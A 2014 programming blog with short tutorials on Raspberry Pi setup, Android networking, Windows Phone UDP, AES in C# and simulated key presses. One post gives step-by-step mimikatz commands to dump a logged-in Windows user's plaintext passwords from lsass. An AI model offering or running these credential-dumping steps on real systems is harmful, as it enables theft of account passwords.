Monday 24 November 2014

Installing HP laserjet 1020 plus in Raspberry Pi and printing via putty

Download printer driver
Open terminal or log in to your Raspberry Pi via putty.
Create a new directory and download the driver in it .
mkdir hppritner 
cd hpprinter
wget http://softlayer-sng.dl.sourceforge.net/project/hplip/hplip/3.14.10/hplip-3.14.10.run 



Change password of your root user 

we need the password of root user to install the driver so if you don't know what the password of root is (like it was in my case ) you can reset it by typing :
sudo passwd root



Installing HP LaserJet 1020 plus driver 
Type the following command and press enter . It will take around 15 minutes to install .
sh hplip-3.14.10.run
It will ask for your root password, enter it .




Printing a file

To print a file use the lpr command .
lpr filename




Sunday 23 November 2014

Controlling Raspberry Pi GPIO pins remotely over a TCP connection

Open terminal or connect to Raspberry Pi via Putty and create a new file test.py
Command : nano test.py
copy the code given below and paste it in that file . The code is also available on github .
Press CTRL+X to exit and then y to save changes .
Now to run the file type sudo python test.py


from socket import *  
 ## Import GPIO library  
import RPi.GPIO as GPIO   
 # Use physical pin numbers  
GPIO.setmode(GPIO.BOARD)  
 # Set up header pin 7 (GPIO7) as an output  
GPIO.setup(7,GPIO.OUT)  
host = "0.0.0.0"  
print host  
port = 7777  
s = socket(AF_INET, SOCK_STREAM)  
print "Socket Made"  
s.bind((host,port))  
print "Socket Bound"  
s.listen(5)  
print "Listening for connections..."  
while True:  
    c, addr = s.accept()   # Establish connection with client.  
    print 'Got connection from', addr  
    c.send('Thank you for connecting')  
    data = c.recv(1024)  
    if(data == "on" ):  
        print 'pin 7 on'  
        GPIO.output(7,True) ## Turn on GPIO pin 7  
    elif(data == 'off' ):  
        print 'pin 7 off'      
        GPIO.output(7,False) ## Turn off GPIO pin 7  
    elif(data == 'close' ):  
        print 'closing connection'  
        s.close()  
        break  
   c.close()   
 GPIO.cleanup() 



Now use a TCP client to connect to this TCP server and send data .
Modify the pin number to control other GPIO pins .

Saturday 22 November 2014

Raspberry pi ssh login without monitor and giving it static IP

Connecting Raspberry Pi to Ethernet and finding its IP address 

Connect Raspberry pi to Ethernet and power it on . The Raspbian "wheezy" distro comes with SSH telnet access enabled .
When you switch Raspberry pi on the router will allocate an IP to it .  Now log in to your router to see the IP assigned to Raspberry Pi . You can also use any IP scanner software also for finding out the IP assigned to Raspberry Pi like Advanced IP Scanner.



Connect to the Raspberry Pi via SSH / Putty

Download & Install Putty. It is not really an Install as you can run the putty.exe directly

Enter the IP address of Raspberry Pi in host name and click open.


Enter username pi and password raspberry (this is the default password )






Now you are connected to Raspberry Pi .

Giving static IP to Raspberry Pi

Type  cat /etc/network/interfaces to list the network interface currently available.


iface etho inet dhcp : This line tells us that we are using DHCP to get IP address . The IP address we get is dynamic and gets assigned to us every time we connect to router .

To set a static IP address we need some information about our connecion .

Type ifconfig to get inet address , Bcast and Mask  .


inet address : 192.168.0.100
Bcast : 192.168.0.255
Mask : 255.255.255.0

Type netstat -nr to get Gateway and Destination .


Gateway : 192.168.0.1
Destination : 192.168.0.0
 
Now we need to edit etc/network/interfaces to get static IP . 

type sudo nano /etc/network/interfaces and delete "iface etho inet dhcp" and replace with iface etho inet static and in the next line paste / write all the info we got in the above step .
It will look like : 

iface lo inet loopback
iface eth0 inet static
address 192.168.0.100
netmask 255.255.255.0
network 192.168.0.0
broadcast 192.168.0.255
gateway 192.168.0.1


 Type CTRL+X to exit then yes to save changes .


Type sudo reboot to reboot Pi . When the Pi boots it will have a static IP .





Sunday 10 August 2014

Using Getty Images Api To get Image url in Android


Getty Images, Inc. is an American stock photo agency, based in Seattle, Washington, United States. It is a supplier of stock images for business and consumers with an archive of 80 million still images and illustrations and more than 50,000 hours of stock film footage. It targets three markets—creative professionals (advertising and graphic design), the media (print and online publishing), and corporate (in-house design, marketing and communication departments).
Getty has distribution offices around the world and capitalizes on the Internet and CD-ROM collections for distribution. As Getty has acquired other older photo agencies and archives, it has digitised their collections, enabling online distribution. Getty Images now operates a large commercial website which allows clients to search and browse for images, purchase usage rights and download images. Costs of images vary according to the chosen resolution and type of rights associated with each image. The company also offers custom photo services for corporate clients.

Getting Started

If you already have a Mashery Member account

  1. Sign in with your Mashery Member credentials.
  2. Click the My Account link near the top right of the page.
  3. Click the Get API keys button.
  4. Register your application and select your desired type of Api-Key. Getty Images provide two key options.
    • Issue a new key for Getty Test
      • Use to test Getty Images Connect functionality including: image search and metadata, download, and account management.
    • Issue a new key for Connect Embed
      • Use to search for and embed from over 40 million embeddable images.

If you do not have a Mashery Member account

  1. Register a new Mashery Member account and your application.
  2. Select your desired type of Api-Key. Getty Images provide two key options.
    • Issue a new key for Getty Test
      • Use to test Getty Images Connect functionality including: image search and metadata, download, and account management.
    • Issue a new key for Connect Embed
      • Use to search for and embed from over 40 million embeddable images.
  3. Click Register. You will receive an email presently with a confirmation link. Click the link.
  4. Sign in with your Mashery Member credentials.


After registering a application you will receive an api-key . You need this key to authenticate the requests that you make to connect.gettyimages.com .


Now open your android project and add the following to your strings.xml file .

<string name="getty_id">Your api-key</string>

Getting the Image URL

Now we will search for images and get their url . Add the following function where you want to search for image . This function makes request to "https://connect.gettyimages.com/v3/search/images" with the api key in header . In this example I'll be using volley library for making requests

Pagination
Many Connect endpoints provide support for pagination of results. Pagination can be controlled by using the page and page_size query string parameters. Default values will be used if none are provided.

The page parameter defaults to 1.
Search results default to a page_size of 30 items per page. The maximum page_size is 100.

Here I have selected the first page and result per page is also 1 , you can change these parameters depending on your needs .

private void getBackgroundImage() {  
           // TODO Auto-generated method stub  
           String searchString = "What you want to search";  
           final HashMap<String, String> header = new HashMap<String, String>();  
           header.put("Api-Key", getString(R.string.getty_id));  
           String getImageUrl = null;  
           try {  
                getImageUrl = "https://connect.gettyimages.com/v3/search/images?phrase="+URLEncoder.encode(searchString.replaceFirst("\\s+$", ""),"UTF-8")+"&page=1&page_size=1";  
           } catch (UnsupportedEncodingException e1) {  
                // TODO Auto-generated catch block  
                e1.printStackTrace();  
           }  
           JsonObjectRequest getImageData = new JsonObjectRequest(getImageUrl, null, new Response.Listener<JSONObject>(  
                     ) {  
                @SuppressLint("NewApi") @Override  
                public void onResponse(JSONObject response) {  
                     try {  
                          onResponseGetImages(response);  
                     } catch (JSONException e) {  
                          // TODO Auto-generated catch block  
                          e.printStackTrace();  
                     }  
                }  
           }, new Response.ErrorListener() {  
                @Override  
                public void onErrorResponse(VolleyError error) {  
                     // TODO Auto-generated method stub  
                }  
           }){  
                @Override  
                public Map<String, String> getHeaders() throws AuthFailureError {  
                     return header;  
                }  
           };  
           AppController.getInstance().addToRequestQueue(getImageData, "Get Image Data");  
      }  


Getting Url From Response

The response is in JSON format and we need to parse this to get image Url . 
This is how the response from  https://connect.gettyimages.com/v3/search/images looks like .



Now to get Url of the image from the response add the following function below the getBackgroundImage function that you added above . In the following function I'm checking that the result count (gives the total number of images found relating to the search ) is greater than 0 . If result count is 0 it means that no images were found relating to that result . In the images array I'm taking the first JSON Object (index 0) , and then get the display sizes array in it which has the image url in it .

private void onResponseGetImages(JSONObject response)  
                throws JSONException {  
           int resultCount = Integer.parseInt(response.getString("result_count"));  
           if(resultCount>0){  
           JSONArray imagesArray = response.getJSONArray("images");  
           JSONObject temp = imagesArray.getJSONObject(0);  
           JSONArray displaySizesArray = temp.getJSONArray("display_sizes");  
           JSONObject temp4 = displaySizesArray.getJSONObject(0);  
           String imageUr = temp4.getString("uri");  
           Toast.makeText(getActivity(),  
                     ""+imageUr, Toast.LENGTH_SHORT)  
                     .show();  
           }else{  
                Toast.makeText(getActivity(),  
                          "No Images Found !", Toast.LENGTH_SHORT)  
                          .show();  
           }  
                }  


Now you can use this url to download or get the bitmap of the image .








Thursday 7 August 2014

Send and Receive a UDP Broadcast in windows phone 8 .

You must have seen apps that search for other devices and connect to them wirelessly . You can do this in your app by using UDP socket .

User Datagram Protocol 
The User Datagram Protocol (UDP) is one of the core members of the Internet protocol suite (the set of network protocols used for the Internet). With UDP, applications can send messages, in this case referred to as datagrams , to other hosts on an Internet Protocol (IP) network without prior communications to set up special transmission channels or data paths. The protocol was designed by David P. Reed in 1980 and formally defined in RFC 768.

Applications communicates with other applications/devices by sending and receiving data .

To send data over to another application/device/computer add the following code to your project .
parameters : This function takes the IP address of the remote/other device that is running the udp listener . When the remote device receives the datagram(message)  it can reply to it and the SocketOnMessageReceived function will be called in our app where we can retrieve the reply send by the device .

 private async Task send(string ip){  
       var udpsoc = new DatagramSocket();  
       try {   
       udpsoc.MessageReceived += SocketOnMessageReceived;  
 
     using (var stream = await udpsoc.GetOutputStreamAsync(new HostName(ip), "remoteserviceName")){  
 using (var writer = new DataWriter(stream))  
 {  
   var data = Encoding.UTF8.GetBytes("searchserver,192.168.2.5");  
   writer.WriteBytes(data);  
   writer.StoreAsync();  
 }  
 }  
     }  
     catch(Exception exp){  
       tb1.Text = exp.ToString();  
   }     
     }  
 private void SocketOnMessageReceived(DatagramSocket sender, DatagramSocketMessageReceivedEventArgs args)  
 {  
    var result = args.GetDataStream();  
         var resultStream = result.AsStreamForRead(1024);  
         using (var reader = new StreamReader(resultStream))  
         {  
           MemoryStream ms = new MemoryStream();  
           resultStream.CopyTo(ms);  
           string text = Encoding.UTF8.GetString(ms.ToArray(), 0, ms.ToArray().Length);  
           Deployment.Current.Dispatcher.BeginInvoke(() =>  
           {  
             tb1.Text = text;  
           });  
         }  
 }  

Grabbing windows passwords in plain text .

In this post I will show you how you can grab password of the user that is currently logged in windows .

This can be done in the following 3 simple steps

1. download "mimikatz_trunk.zip" from "blog.gentilkiwi.com/mimikatz" .

2. After downloading extract it to "C:\Windows\System32"  .

3. Now open cmd as administrator and enter the following commands (make sure that you are in "C:\Windows\System32\mimikatz_trunk\win32"  directory ) .

Commands
1. mimikatz.exe
2. privilege::debug
3. inject::process lsass.exe sekurlsa.dll
4. @getLogonPasswords

You can also watch this video to see how this is done .




Creating custom volley request to send multipart data

Volley is an HTTP library that makes networking for Android apps easier and most importantly, faster. Volley is available through the open AOSP repository.


Volley offers the following benefits:
  • Automatic scheduling of network requests.
  • Multiple concurrent network connections.
  • Transparent disk and memory response caching with standard HTTP cache coherence.
  • Support for request prioritization.
  • Cancellation request API. You can cancel a single request, or you can set blocks or scopes of requests to cancel.
  • Ease of customization, for example, for retry and backoff.
  • Strong ordering that makes it easy to correctly populate your UI with data fetched asynchronously from the network.
  • Debugging and tracing tools.
To get an overview of volley I would suggest you to watch this video by Ficus Kirkpatrick at Google I/O 2013 .

Volley doesn't provide support for Multipart request . But we can use volley's framework and provide our own implementation of HttpStack .

The following code creates a custom volley request that can be used to send multipart data .

import java.io.ByteArrayOutputStream;  
 import java.io.File;  
 import java.io.IOException;  
 import java.io.UnsupportedEncodingException;  
 import java.util.HashMap;  
 import java.util.Map;  
 import org.apache.http.client.methods.HttpEntityEnclosingRequestBase;  
 import org.apache.http.entity.mime.HttpMultipartMode;  
 import org.apache.http.entity.mime.MultipartEntity;  
 import org.apache.http.entity.mime.content.FileBody;  
 import org.apache.http.entity.mime.content.StringBody;  
 import android.util.Log;  
 import com.android.volley.AuthFailureError;  
 import com.android.volley.NetworkResponse;  
 import com.android.volley.Request;  
 import com.android.volley.Response;  
 import com.android.volley.VolleyLog;  
 import com.android.volley.Response.ErrorListener;  
 public class MultiPartReq extends Request < String > {  
      private Response.Listener < String > mListener = null;  
      private Response.ErrorListener mEListener;  
      //       
      private final File mFilePart;  
      private final String mStringPart;  
      private Map < String, String > parameters;  
      private Map < String, String > header;  
      MultipartEntity entity = new MultipartEntity();  
      @Override  
      public Map < String, String > getHeaders() throws AuthFailureError {  
           return header;  
      }  
      public MultiPartReq(String url, Response.ErrorListener eListener,  
      Response.Listener < String > rListener, File file, String stringPart,  
      Map < String, String > param, Map < String, String > head) {  
           super(Method.POST, url, eListener);  
           mListener = rListener;  
           mEListener = eListener;  
           mFilePart = file;  
           mStringPart = stringPart;  
           parameters = param;  
           header = head;  
           buildMultipartEntity();  
      }  
      @Override  
      public String getBodyContentType() {  
           return entity.getContentType().getValue();  
      }  
      @Override  
      public byte[] getBody() throws AuthFailureError {  
           ByteArrayOutputStream bos = new ByteArrayOutputStream();  
           try {  
                entity.writeTo(bos);  
                String entityContentAsString = new String(bos.toByteArray());  
                Log.e("volley", entityContentAsString);  
           } catch (IOException e) {  
                VolleyLog.e("IOException writing to ByteArrayOutputStream");  
           }  
           return bos.toByteArray();  
      }  
      @Override  
      protected void deliverResponse(String arg0) {  
           // TODO Auto-generated method stub  
      }  
      @Override  
      protected Response < String > parseNetworkResponse(NetworkResponse response) {  
           // TODO Auto-generated method stub  
           return null;  
      }  
      private void buildMultipartEntity() {  
           entity.addPart(mStringPart, new FileBody(mFilePart));  
           try {  
                for (String key: parameters.keySet())  
                entity.addPart(key, new StringBody(parameters.get(key)));  
           } catch (UnsupportedEncodingException e) {  
                VolleyLog.e("UnsupportedEncodingException");  
           }  
      }  

Now create a object of the above class and add it to the request queue .

 File f = new File("path");  
           HashMap<String, String> headers = new HashMap<String, String>();  
           headers.put("key", "value");  
           //headers.put("Authorization", "Token "+pref.getString("token", "123"));   
           //File f = new File(s);  
           HashMap<String, String> params = new HashMap<String, String>();  
           params.put("key","value");  
           mPR = new MultiPartReq("http://api.jhjh.com/api/v1/mmnbn/create/", new Response.ErrorListener() {  
                @Override  
                public void onErrorResponse(VolleyError arg0) {  
                     // TODO Auto-generated method stub  
                     Toast.makeText(getActivity(), "error "+arg0.toString(), Toast.LENGTH_LONG).show();  
                }       
           } , new Response.Listener<String>() {  
                @Override  
                public void onResponse(String arg0) {  
                     // TODO Auto-generated method stub  
                     Log.d("Success", arg0.toString());  
                }  
           }, f, "filekey", params , headers);  
           AppController.getInstance().addToRequestQueue(mPR,  
                     "request tag ");  

In your project create a class named  AppController.java and add the following code to it .

 import android.app.Application;  
 import android.text.TextUtils;  
 import com.android.volley.Request;  
 import com.android.volley.RequestQueue;  
 import com.android.volley.toolbox.ImageLoader;  
 import com.android.volley.toolbox.Volley;  
 public class AppController extends Application {  
      private ImageLoader mImageLoader;  
      public static final String TAG = AppController.class.getSimpleName();  
      private RequestQueue mRequestQueue;  
      private static AppController mInstance;  
      @Override  
      public void onCreate() {  
           super.onCreate();  
           mInstance = this;  
      }  
      public static synchronized AppController getInstance() {  
           return mInstance;  
      }  
      public RequestQueue getRequestQueue() {  
           if (mRequestQueue == null) {  
                mRequestQueue = Volley.newRequestQueue(getApplicationContext());  
           }  
           return mRequestQueue;  
      }  
      public <T> void addToRequestQueue(Request<T> req, String tag) {  
           // set the default tag if tag is empty  
           req.setTag(TextUtils.isEmpty(tag) ? TAG : tag);  
           getRequestQueue().add(req);  
      }  
      public <T> void addToRequestQueue(Request<T> req) {  
           req.setTag(TAG);  
           getRequestQueue().add(req);  
      }  
      public void cancelPendingRequests(Object tag) {  
           if (mRequestQueue != null) {  
                mRequestQueue.cancelAll(tag);  
           }  
      }  
      public ImageLoader getImageLoader() {  
           getRequestQueue();  
           if (mImageLoader == null) {  
                mImageLoader = new ImageLoader(this.mRequestQueue,  
                          new ThoughtImageCache());  
           }  
           return this.mImageLoader;  
      }  
 }  






Friday 25 July 2014

Using AES encryption in C#

What is AES  ?

The Advanced Encryption Standard (AES) is a specification for the encryption of electronic data established by the U.S. National Institute of Standards and Technology (NIST) in 2001.[4]


AES is based on the Rijndael cipher[5] developed by two Belgian cryptographers, Joan Daemen and Vincent Rijmen, who submitted a proposal to NIST during the AES selection process.[6] Rijndael is a family of ciphers with different key and block sizes.

For AES, NIST selected three members of the Rijndael family, each with a block size of 128 bits, but three different key lengths: 128, 192 and 256 bits.


Using AES encryption in C#

1. Encrypting data :

The following function takes 3 parameters
    1-The first parameter is byte array of the data that has to be encrypted .
    2-The second parameter is the key that will be used to encrypt the data
    3-Third parameter is the initialization vector .
The function returns the encrypted byte array .

AesCryptoServiceProvider :

Performs symmetric encryption and decryption using the Cryptographic Application Programming Interfaces (CAPI) implementation of the Advanced Encryption Standard (AES) algorithm.


CreateEncryptor :  This function takes key and IV to create a symmetric encryptor object with the current Key property and initialization vector (IV) . If Key or IV is null the GenerateKey method is called to create a new random Key or IV .

 public byte[] encryptdata(byte[] bytearraytoencrypt, string key, string iv)  
     {  
       AesCryptoServiceProvider dataencrypt = new AesCryptoServiceProvider();  
       //Block size : Gets or sets the block size, in bits, of the cryptographic operation.  
       dataencrypt.BlockSize = 128;  
       //KeySize: Gets or sets the size, in bits, of the secret key  
       dataencrypt.KeySize = 128;  
       //Key: Gets or sets the symmetric key that is used for encryption and decryption.  
       dataencrypt.Key = System.Text.Encoding.UTF8.GetBytes(key);  
       //IV : Gets or sets the initialization vector (IV) for the symmetric algorithm  
       dataencrypt.IV = System.Text.Encoding.UTF8.GetBytes(iv);  
       //Padding: Gets or sets the padding mode used in the symmetric algorithm  
       dataencrypt.Padding = PaddingMode.PKCS7;  
       //Mode: Gets or sets the mode for operation of the symmetric algorithm  
       dataencrypt.Mode = CipherMode.CBC;  
       //Creates a symmetric AES encryptor object using the current key and initialization vector (IV).  
       ICryptoTransform crypto1 = dataencrypt.CreateEncryptor(dataencrypt.Key, dataencrypt.IV);  
       //TransformFinalBlock is a special function for transforming the last block or a partial block in the stream.   
       //It returns a new array that contains the remaining transformed bytes. A new array is returned, because the amount of   
       //information returned at the end might be larger than a single block when padding is added.  
       byte[] encrypteddata = crypto1.TransformFinalBlock(bytearraytoencrypt, 0, bytearraytoencrypt.Length);  
       crypto1.Dispose();  
       //return the encrypted data  
       return encrypteddata;  
     }  

Decrypting data :

 The following function takes 3 parameters
    1-The first parameter is byte array of the data that has to be decrypted .
    2-The second parameter is the key that will be used to decrypt the data
    3-Third parameter is the initialization vector .
The function returns the decrypted byte array .


     private byte[] decryptdata(byte[] bytearraytodecrypt, string key, string iv)  
     {  

       AesCryptoServiceProvider keydecrypt = new AesCryptoServiceProvider();  
       keydecrypt.BlockSize = 128;  
       keydecrypt.KeySize = 128;  
       keydecrypt.Key = System.Text.Encoding.UTF8.GetBytes(key);  
       keydecrypt.IV = System.Text.Encoding.UTF8.GetBytes(iv);  
       keydecrypt.Padding = PaddingMode.PKCS7;  
       keydecrypt.Mode = CipherMode.CBC;  
       ICryptoTransform crypto1 = keydecrypt.CreateDecryptor(keydecrypt.Key, keydecrypt.IV);  
      
       byte[] returnbytearray = crypto1.TransformFinalBlock(bytearraytodecrypt, 0, bytearraytodecrypt.Length);  
       crypto1.Dispose();  
       return returnbytearray;  
     }  

Monday 14 July 2014

Simulating Key Press in C#

Simulating a key press or a combination of keys in c# can be done using the keybd_event() function .  This function is useful to simulate Key presses to the window with focus .


C# Signature:

[DllImport("user32.dll")]  
  public static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, uint dwExtraInfo); 

Parameters

bVk [in]
Type: BYTE
A virtual-key code. The code must be a value in the range 1 to 254. For a complete list, see Virtual Key Codes.
bScan [in]
Type: BYTE
A hardware scan code for the key.
dwFlags [in]
Type: DWORD
Controls various aspects of function operation. This parameter can be one or more of the following values.

ValueMeaning

KEYEVENTF_EXTENDEDKEY
0x0001
If specified, the scan code was preceded by a prefix byte having the value 0xE0 (224).

KEYEVENTF_KEYUP
0x0002
If specified, the key is being released. If not specified, the key is being depressed.


dwExtraInfo [in]
Type: ULONG_PTR
An additional value associated with the key stroke.

Return value

This function does not return a value.


Example 1 : The following code will simulate the pressing of keyboard button "A" . 
//import the dll 
//put this code when the class starts
[DllImport("user32.dll")]  
  public static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, uint dwExtraInfo);  
 const uint KEYEVENTF_EXTENDEDKEY = 0x0001;  
 // call this function when you want to simulate the key press .  
 // presses the key  
  keybd_event((byte)Keys.A, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);  
  Thread.Sleep(200);  
 //releases the key  
  keybd_event((byte)Keys.A, 0, 2, 0);  



Example 2 : The following code will simulate the pressing of keyboard button "\" (backslash). 
VkKeyScan function : This function function translates a character to the corresponding virtual-key code and shift state for the current keyboard .

C# Signature:

[DllImport("user32.dll", CharSet = CharSet.Unicode)]
static extern short VkKeyScan(char ch);



//import the dll   
 //put this code when the class starts  
 [DllImport("user32.dll")]  
  public static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, uint dwExtraInfo);  
 const uint KEYEVENTF_EXTENDEDKEY = 0x0001;  
 [DllImport("user32.dll")]  
  public static extern short VkKeyScan(char z);  
 // call this function when you want to simulate the key press .  
 // presses the key  
  keybd_event((byte)VkKeyScan('\\'), 0, KEYEVENTF_EXTENDEDKEY | 0, 0);  
 Thread.Sleep(200);  
 //releases the key  
  keybd_event((byte)VkKeyScan('\\'), 0, 2, 0);  

Simulating combination of key presses .

The following code will Open task manager by pressing control , shift and escape and then releasing all the keys .

//pressing keys

 keybd_event((byte)Keys.RControlKey, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);  
 keybd_event((byte)Keys.RShiftKey, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);  
 keybd_event((byte)Keys.Escape, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);  
 //releasing all keys
 keybd_event((byte)Keys.Escape, 0, 2, 0);  
  keybd_event((byte)Keys.RShiftKey, 0, 2, 0);  
  keybd_event((byte)Keys.RControlKey, 0, 2, 0);